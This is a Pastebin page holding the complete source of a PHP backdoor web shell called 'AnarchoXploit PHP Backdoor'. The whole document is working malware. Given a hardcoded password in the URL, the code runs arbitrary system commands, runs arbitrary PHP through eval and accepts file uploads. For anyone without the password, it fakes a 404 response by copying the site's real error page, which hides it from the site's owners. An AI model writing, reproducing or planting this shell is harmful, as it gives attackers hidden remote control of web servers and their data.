VanGans

AnarchoXploit PHP Backdoor

Feb 5th, 2019
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.17 KB | None | 0 0
  1. <?php
  2. #########################
  3. # Copyright - ErrorByte #
  4. #########################
  5. // Config Shell //
  6.  
  7. error_reporting(0);
  8. $pass = 'errorbyte';
  9.  
  10. // End Config //
  11. header("HTTP/1.0 404 Not Found");
  12. if($_GET['pass'] == $pass) {
  13. ?>
  14. <title>AnarchoXploit PHP Backdoor</title>
  15. <h1>AnarchoXploit PHP Backdoor</h1>
  16. <?php
  17. echo php_uname();
  18. ?>
  19. <br><br>
  20. <form enctype="multipart/form-data" method="post">
  21. <input type="file" name="acx">
  22. <input type="submit" value="upload">
  23. </form>
  24. <?php
  25. if($_GET['shell']) {
  26. echo "<pre>".htmlentities(shell_exec($_GET['shell']))."</pre>";
  27. }
  28. if($_GET['eval']) {
  29. echo eval($_GET['eval']);
  30. }
  31. if(isset($_FILES['acx'])) {
  32. if(copy($_FILES['acx']['tmp_name'], $_FILES['acx']['name'])) {
  33. echo "<br>".$_FILES['acx']['name']." Uploaded !!!";
  34. } else {
  35. echo "<br>Failed Upload File !!!";
  36. }
  37. }
  38. } else {
  39. $rand = rand();
  40. $ur = 'http://'.$_SERVER['HTTP_HOST']."/".$rand;
  41. $curl = curl_init();
  42. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  43. curl_setopt($curl, CURLOPT_URL, $ur);
  44. curl_setopt($curl, CURLOPT_VERBOSE, false);
  45. $raw = curl_exec($curl);
  46. $out = str_replace('/'.$rand, $_SERVER['SCRIPT_NAME'], $raw);
  47. echo $out;
  48. curl_close($curl);
  49. }
  50. ?>
Advertisement
Add Comment
Please, Sign In to add comment